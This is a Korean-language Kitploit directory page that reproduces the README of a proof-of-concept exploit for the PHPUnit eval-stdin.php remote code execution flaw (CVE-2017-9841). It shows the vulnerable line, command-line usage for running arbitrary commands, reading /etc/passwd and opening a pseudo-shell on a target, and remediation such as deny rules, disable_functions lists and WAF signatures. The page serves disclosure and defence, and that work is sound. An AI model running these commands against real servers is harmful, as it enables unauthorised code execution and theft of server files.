Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — CVE-2017-9841은 PHPUnit 라이브러리의 RCE(원격 코드 실행) 취약점으로, 5.6.3 이전 버전과 6.4.2 이전의 6.x 버전에 영향을 미칩니다. | Kitploit
도구/GitHubGitHub/krisdewa/cve-2017-9841-phpunit-remote-code-execution-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

CVE-2017-9841은 PHPUnit 라이브러리의 RCE(원격 코드 실행) 취약점으로, 5.6.3 이전 버전과 6.4.2 이전의 6.x 버전에 영향을 미칩니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
2개월 전아직 검토되지 않음

CVE-2017-9841 — PHPUnit 원격 코드 실행(RCE) PoC

⚠️ 면책 조항: 이 도구는 교육 목적 및 승인된 보안 테스트 전용으로 제작되었습니다. 소유하지 않았거나 명시적 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다. 작성자는 이 도구의 오용으로 인한 어떠한 책임도 지지 않습니다.


개요

CVE-2017-9841은 PHPUnit 라이브러리의 5.6.3 미만 및 6.4.2 미만의 6.x 버전에 영향을 미치는 원격 코드 실행(RCE) 취약점입니다.

이 취약점은 php://input(POST 본문)을 통해 수신된 PHP 코드를 eval() 함수로 실행하는 src/Util/PHP/eval-stdin.php 파일에 존재합니다. 이 파일이 공개적으로 접근 가능한 경우(예: 보호되지 않은 vendor/ 디렉토리 내), 공격자는 인증 없이 서버에서 임의의 PHP 코드를 실행할 수 있습니다.

취약점 세부 정보

필드값
CVE IDCVE-2017-9841
CVSS 점수9.8 (치명적)
영향 버전PHPUnit < 5.6.3, 6.x < 6.4.2
유형원격 코드 실행(RCE)
인증불필요
공격 벡터네트워크(원격)
공개일2017년 6월 27일
참고NVD

취약한 코드

root@kitploit:~
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

이 파일은 POST 본문의 PHP 코드를 수신하여 인증이나 검증 없이 eval()을 통해 즉시 실행합니다.


설치

요구 사항

  • Python 3.6+
  • requests 라이브러리
root@kitploit:~
pip install requests

설정

root@kitploit:~
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

사용법

기본 구문

root@kitploit:~
python3 poc_cve-2017-9841.py -u <URL> [options]

-u 플래그는 기본 URL(취약한 경로가 자동으로 추가됨) 또는 eval-stdin.php를 직접 가리키는 전체 URL을 모두 허용합니다.

1. 취약점 확인(명령 실행 없음)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --check

출력:

root@kitploit:~
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841

2. 명령 실행

root@kitploit:~
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt

3. 서버 정보 확인(읽기 전용)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --info

출력:

root@kitploit:~
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS          : Linux
SAPI        : fpm-fcgi
User        : www-data
Hostname    : web-server-01
Server IP   : 192.168.1.100
CWD         : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root    : /var/www/html/
Server SW   : Apache
Memory Limit: 256M
Max Exec    : 30s
Open Basedir: (none)
Disabled Fn : (none)

=== DANGEROUS FUNCTIONS ===
  system: YES
  exec: YES
  passthru: YES
  shell_exec: YES
  proc_open: YES
  popen: YES
  curl_exec: YES

4. 인터랙티브 의사 셸

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

출력:

root@kitploit:~
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.

5. 취약 경로 자동 탐색

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

6. 사용자 지정 경로

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

7. eval-stdin.php 전체 URL 사용

root@kitploit:~
python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. 원시 PHP 코드 실행

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

옵션 참조


해결 방법

즉시 조치(지금 바로)

1. 취약한 파일 삭제

root@kitploit:~
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. vendor 디렉토리 접근 차단

vendor/ 디렉토리 안에 .htaccess 파일을 추가하세요:

root@kitploit:~
# /path/to/project/vendor/.htaccess
Deny from all

또는 Apache VirtualHost에 다음과 같이 구성하세요:

root@kitploit:~
<Directory "/path/to/project/vendor">
    Require all denied
</Directory>

Nginx의 경우:

root@kitploit:~
location /vendor/ {
    deny all;
    return 403;
}

3. 프로덕션에서 개발 의존성 제거

root@kitploit:~
cd /path/to/project
composer install --no-dev --optimize-autoloader

단기 보안 강화

4. php.ini에서 disable_functions 활성화

root@kitploit:~
; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. open_basedir 활성화

root@kitploit:~
; /etc/php/8.4/fpm/php.ini or in VirtualHost
open_basedir = /var/www/html/project:/tmp

6. max_execution_time 축소

root@kitploit:~
max_execution_time = 30

7. PHP-FPM 재시작

root@kitploit:~
sudo systemctl restart php8.4-fpm
# or
sudo systemctl restart php-fpm

장기 보안 강화

8. PHPUnit 업그레이드

root@kitploit:~
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. WAF 규칙 구현

ModSecurity 예제:

root@kitploit:~
SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"

10. CI/CD 파이프라인 보안 강화

root@kitploit:~
# Example: GitHub Actions
- name: Install production dependencies only
  run: composer install --no-dev --optimize-autoloader

- name: Remove test files and vulnerable scripts
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

공격 흐름도

root@kitploit:~
                    ┌──────────────────────────────┐
                    │          Attacker            │
                    └──────────────┬───────────────┘
                                   │ POST (PHP code)
                                   ▼
┌─────────────────────────────────────────────────────────────┐
│                        Apache Server                        │
│  ┌───────────────────────────────────────────────────────┐  │
│  │  /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  │  │
│  │                                                       │  │
│  │  eval('?>' . file_get_contents('php://input'));       │  │
│  │           ▲                                           │  │
│  └───────────┼───────────────────────────────────────────┘  │
│              │                                              │
│              ▼                                              │
│  ┌───────────────────────────────────────────────────────┐  │
│  │            Arbitrary Code Execution                   │  │
│  │                                                       │  │
│  │  - Read/Write files on the server                     │  │
│  │  - Access database credentials                        │  │
│  │  - Lateral movement to internal network               │  │
│  │  - Install backdoors / webshells                      │  │
│  │  - Privilege escalation                               │  │
│  └───────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

위험을 악화시키는 요인

다음 조건은 이 취약점의 심각도와 악용 가능성을 크게 높입니다:


참고 자료

  • NVD - CVE-2017-9841
  • PHPUnit GitHub Issue #2728
  • Exploit-DB #43340
  • MITRE CVE

라이선스

이 도구는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다.

도구 다운로드
플래그설명
-u, --url URL대상 기본 URL 또는 eval-stdin.php의 전체 URL
-c, --cmd CMD대상 서버에서 실행할 CLI 명령
--check명령을 실행하지 않고 대상이 취약한지 확인
--shell의사 인터랙티브 셸 열기
--info서버 정보 수집(읽기 전용)
--find-path일반적인 경로를 스캔하여 eval-stdin.php 찾기
--path PATHeval-stdin.php의 사용자 지정 경로 지정
--timeout N요청 제한 시간(초 단위, 기본값: 30)
-o, --output FILE명령 출력을 파일로 저장
--php CODE시스템 명령 대신 원시 PHP 코드 실행
요인영향
disable_functions가 비어 있음모든 PHP 함수 사용 가능(system, exec 등)
open_basedir 미설정공격자가 전체 파일시스템에서 파일 읽기/쓰기 가능
높은 max_execution_time공격자가 복잡한 페이로드에 요청당 더 많은 시간 확보
FFI 확장 로드됨C 함수 직접 호출 가능, PHP 제한 우회
데이터베이스 확장 로드됨직접 데이터베이스 연결 가능(mysqli, pgsql 등)
WAF 미배포요청 필터링 또는 차단 없음
IDS/IPS 미구축이상 탐지 또는 경고 없음
프로덕션 환경의 개발 의존성불필요하게 공격 표면 확대